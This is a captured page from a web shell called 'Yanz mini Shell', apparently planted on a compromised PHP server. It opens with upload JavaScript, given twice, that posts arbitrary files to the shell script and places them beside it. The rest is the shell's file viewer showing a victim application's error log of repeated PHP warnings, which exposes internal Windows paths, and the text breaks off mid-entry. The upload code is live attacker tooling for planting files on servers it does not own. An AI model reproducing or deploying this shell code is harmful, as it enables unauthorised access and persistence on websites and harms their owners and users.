Yanz mini Shell

<script>
function upload(fileInputId, fileIndex)
    {
		var url = window.location.pathname;
		var scriptname = url.substring(url.lastIndexOf('/')+1);
		var filename = document.getElementById('upload_files').value;
		var filename = filename.match(/[^\\/]*$/)[0];
		var location = window.location.href;
		var directoryPath = location.substring(0, location.lastIndexOf("/")+1);
		document.getElementById("status").textContent = "Uploading the file "+filename+", please wait..";
		document.getElementById("status").style.color = "blue";
        // take the file from the input
        var file = document.getElementById(fileInputId).files[fileIndex];
        var reader = new FileReader();
        reader.readAsBinaryString(file); // alternatively you can use readAsDataURL
        reader.onloadend  = function(evt)
        {
                // create XHR instance
                xhr = new XMLHttpRequest();

                // send the file through POST
                xhr.open("POST", scriptname+"?name="+filename, true);

                // make sure we have the sendAsBinary method on all browsers
                XMLHttpRequest.prototype.mySendAsBinary = function(text){
                    var data = new ArrayBuffer(text.length);
                    var ui8a = new Uint8Array(data, 0);
                    for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);

                    if(typeof window.Blob == "function")
                    {
                         var blob = new Blob([data]);
                    }else{
                         var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
                         bb.append(data);
                         var blob = bb.getBlob();
                    }

                    this.send(blob);
                }

                // let's track upload progress
                var eventSource = xhr.upload || xhr;
                eventSource.addEventListener("progress", function(e) {
                    // get percentage of how much of the current file has been sent
                    var position = e.position || e.loaded;
                    var total = e.totalSize || e.total;
                    var percentage = Math.round((position/total)*100);

                    // here you should write your own code how you wish to proces this
                });

                // state change observer - we need to know when and if the file was successfully uploaded
                xhr.onreadystatechange = function()
                {
                    if(xhr.readyState == 4)
                    {
                        if(xhr.status == 200)
                        {
                            // process success
							document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder as Shell. At Link= "+directoryPath+filename;
							document.getElementById("status").style.color = "green";
                        }else{
                            // process error
                        }
                    }
                };

                // start sending
                xhr.mySendAsBinary(evt.target.result);
        };
    }
</script>

<html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><script>
function upload(fileInputId, fileIndex)
    {
		var url = window.location.pathname;
		var scriptname = url.substring(url.lastIndexOf('/')+1);
		var filename = document.getElementById('upload_files').value;
		var filename = filename.match(/[^\\/]*$/)[0];
		var location = window.location.href;
		var directoryPath = location.substring(0, location.lastIndexOf("/")+1);
		document.getElementById("status").textContent = "Uploading the file "+filename+", please wait..";
		document.getElementById("status").style.color = "blue";
        // take the file from the input
        var file = document.getElementById(fileInputId).files[fileIndex];
        var reader = new FileReader();
        reader.readAsBinaryString(file); // alternatively you can use readAsDataURL
        reader.onloadend  = function(evt)
        {
                // create XHR instance
                xhr = new XMLHttpRequest();

                // send the file through POST
                xhr.open("POST", scriptname+"?name="+filename, true);

                // make sure we have the sendAsBinary method on all browsers
                XMLHttpRequest.prototype.mySendAsBinary = function(text){
                    var data = new ArrayBuffer(text.length);
                    var ui8a = new Uint8Array(data, 0);
                    for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);

                    if(typeof window.Blob == "function")
                    {
                         var blob = new Blob([data]);
                    }else{
                         var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
                         bb.append(data);
                         var blob = bb.getBlob();
                    }

                    this.send(blob);
                }

                // let's track upload progress
                var eventSource = xhr.upload || xhr;
                eventSource.addEventListener("progress", function(e) {
                    // get percentage of how much of the current file has been sent
                    var position = e.position || e.loaded;
                    var total = e.totalSize || e.total;
                    var percentage = Math.round((position/total)*100);

                    // here you should write your own code how you wish to proces this
                });

                // state change observer - we need to know when and if the file was successfully uploaded
                xhr.onreadystatechange = function()
                {
                    if(xhr.readyState == 4)
                    {
                        if(xhr.status == 200)
                        {
                            // process success
							document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder as Shell. At Link= "+directoryPath+filename;
							document.getElementById("status").style.color = "green";
                        }else{
                            // process error
                        }
                    }
                };

                // start sending
                xhr.mySendAsBinary(evt.target.result);
        };
    }
</script>

<title>Yanz mini Shell</title>
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
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<hr>
      <textarea class='file'>2020-05-15 00:50:49: 
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/frame_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrspec.php&lt;/p&gt;
&lt;p&gt;Line Number: 568&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrspec.php&lt;br /&gt;
			Line: 568&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 178&lt;br /&gt;
			Function: newFrame			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_0\mask_21_0.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_1\mask_21_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_2\mask_21_2.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_3\mask_21_3.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
